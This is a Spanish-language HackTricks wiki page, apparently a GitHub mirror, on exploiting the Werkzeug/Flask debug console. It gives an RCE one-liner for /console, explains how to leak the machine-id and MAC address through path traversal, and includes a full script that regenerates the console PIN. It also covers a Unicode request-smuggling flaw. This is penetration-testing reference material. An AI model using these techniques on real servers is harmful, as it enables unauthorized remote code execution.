mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
168 lines
7.3 KiB
Markdown
168 lines
7.3 KiB
Markdown
# Werkzeug / Flask Debug
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Consola RCE
|
|
|
|
Si el modo de depuración está activo, podrías intentar acceder a `/console` y obtener RCE.
|
|
```python
|
|
__import__('os').popen('whoami').read();
|
|
```
|
|
.png>)
|
|
|
|
También hay varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit.
|
|
|
|
## Protegido por PIN - Traversal de Ruta
|
|
|
|
En algunas ocasiones, el endpoint **`/console`** estará protegido por un pin. Si tienes una **vulnerabilidad de traversal de archivos**, puedes filtrar toda la información necesaria para generar ese pin.
|
|
|
|
### Exploit de PIN de la Consola de Werkzeug
|
|
|
|
Forzar una página de error de depuración en la aplicación para ver esto:
|
|
```
|
|
The console is locked and needs to be unlocked by entering the PIN.
|
|
You can find the PIN printed out on the standard output of your
|
|
shell that runs the server
|
|
```
|
|
Un mensaje sobre el escenario "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando que se requiere un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar en el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), aunque se aconseja obtener el código del servidor real a través de una vulnerabilidad de recorrido de archivos debido a posibles discrepancias de versión.
|
|
|
|
Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `probably_public_bits` y `private_bits`:
|
|
|
|
#### **`probably_public_bits`**
|
|
|
|
- **`username`**: Se refiere al usuario que inició la sesión de Flask.
|
|
- **`modname`**: Generalmente designado como `flask.app`.
|
|
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalmente se resuelve en **Flask**.
|
|
- **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intenta `app.pyc`**.
|
|
|
|
#### **`private_bits`**
|
|
|
|
- **`uuid.getnode()`**: Obtiene la dirección MAC de la máquina actual, con `str(uuid.getnode())` traduciéndola a un formato decimal.
|
|
|
|
- Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtra `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extrae la dirección MAC** de **`/sys/class/net/<device id>/address`**.
|
|
- La conversión de una dirección MAC hexadecimal a decimal se puede realizar como se muestra a continuación:
|
|
|
|
```python
|
|
# Ejemplo de dirección MAC: 56:00:02:7a:23:ac
|
|
>>> print(0x5600027a23ac)
|
|
94558041547692
|
|
```
|
|
|
|
- **`get_machine_id()`**: Concatena datos de `/etc/machine-id` o `/proc/sys/kernel/random/boot_id` con la primera línea de `/proc/self/cgroup` después de la última barra (`/`).
|
|
|
|
<details>
|
|
|
|
<summary>Código para `get_machine_id()`</summary>
|
|
```python
|
|
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
|
global _machine_id
|
|
|
|
if _machine_id is not None:
|
|
return _machine_id
|
|
|
|
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
|
linux = b""
|
|
|
|
# machine-id is stable across boots, boot_id is not.
|
|
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
|
try:
|
|
with open(filename, "rb") as f:
|
|
value = f.readline().strip()
|
|
except OSError:
|
|
continue
|
|
|
|
if value:
|
|
linux += value
|
|
break
|
|
|
|
# Containers share the same machine id, add some cgroup
|
|
# information. This is used outside containers too but should be
|
|
# relatively stable across boots.
|
|
try:
|
|
with open("/proc/self/cgroup", "rb") as f:
|
|
linux += f.readline().strip().rpartition(b"/")[2]
|
|
except OSError:
|
|
pass
|
|
|
|
if linux:
|
|
return linux
|
|
|
|
# On OS X, use ioreg to get the computer's serial number.
|
|
try:
|
|
```
|
|
</details>
|
|
|
|
Al recopilar todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola de Werkzeug:
|
|
|
|
Al recopilar todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola de Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuación se muestra el código de Python para ejecutar este proceso:
|
|
```python
|
|
import hashlib
|
|
from itertools import chain
|
|
probably_public_bits = [
|
|
'web3_user', # username
|
|
'flask.app', # modname
|
|
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
|
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
|
]
|
|
|
|
private_bits = [
|
|
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
|
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
|
]
|
|
|
|
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
|
h = hashlib.sha1()
|
|
for bit in chain(probably_public_bits, private_bits):
|
|
if not bit:
|
|
continue
|
|
if isinstance(bit, str):
|
|
bit = bit.encode('utf-8')
|
|
h.update(bit)
|
|
h.update(b'cookiesalt')
|
|
# h.update(b'shittysalt')
|
|
|
|
cookie_name = '__wzd' + h.hexdigest()[:20]
|
|
|
|
num = None
|
|
if num is None:
|
|
h.update(b'pinsalt')
|
|
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
|
|
|
rv = None
|
|
if rv is None:
|
|
for group_size in 5, 4, 3:
|
|
if len(num) % group_size == 0:
|
|
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
|
for x in range(0, len(num), group_size))
|
|
break
|
|
else:
|
|
rv = num
|
|
|
|
print(rv)
|
|
```
|
|
Este script produce el PIN al hashear los bits concatenados, agregar sales específicas (`cookiesalt` y `pinsalt`), y formatear la salida. Es importante notar que los valores reales para `probably_public_bits` y `private_bits` deben obtenerse con precisión del sistema objetivo para asegurar que el PIN generado coincida con el esperado por la consola de Werkzeug.
|
|
|
|
> [!TIP]
|
|
> Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hashing a md5** en lugar de sha1.
|
|
|
|
## Caracteres Unicode de Werkzeug
|
|
|
|
Como se observó en [**este problema**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug no cierra una solicitud con caracteres Unicode en los encabezados. Y como se explicó en [**este informe**](https://mizu.re/post/twisty-python), esto podría causar una vulnerabilidad de CL.0 Request Smuggling.
|
|
|
|
Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres **Unicode** y hará que el servidor **se rompa**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud se tratará como la **siguiente solicitud HTTP**.
|
|
|
|
## Explotación Automatizada
|
|
|
|
{{#ref}}
|
|
https://github.com/Ruulian/wconsole_extractor
|
|
{{#endref}}
|
|
|
|
## Referencias
|
|
|
|
- [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
|
- [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
|
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
|
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|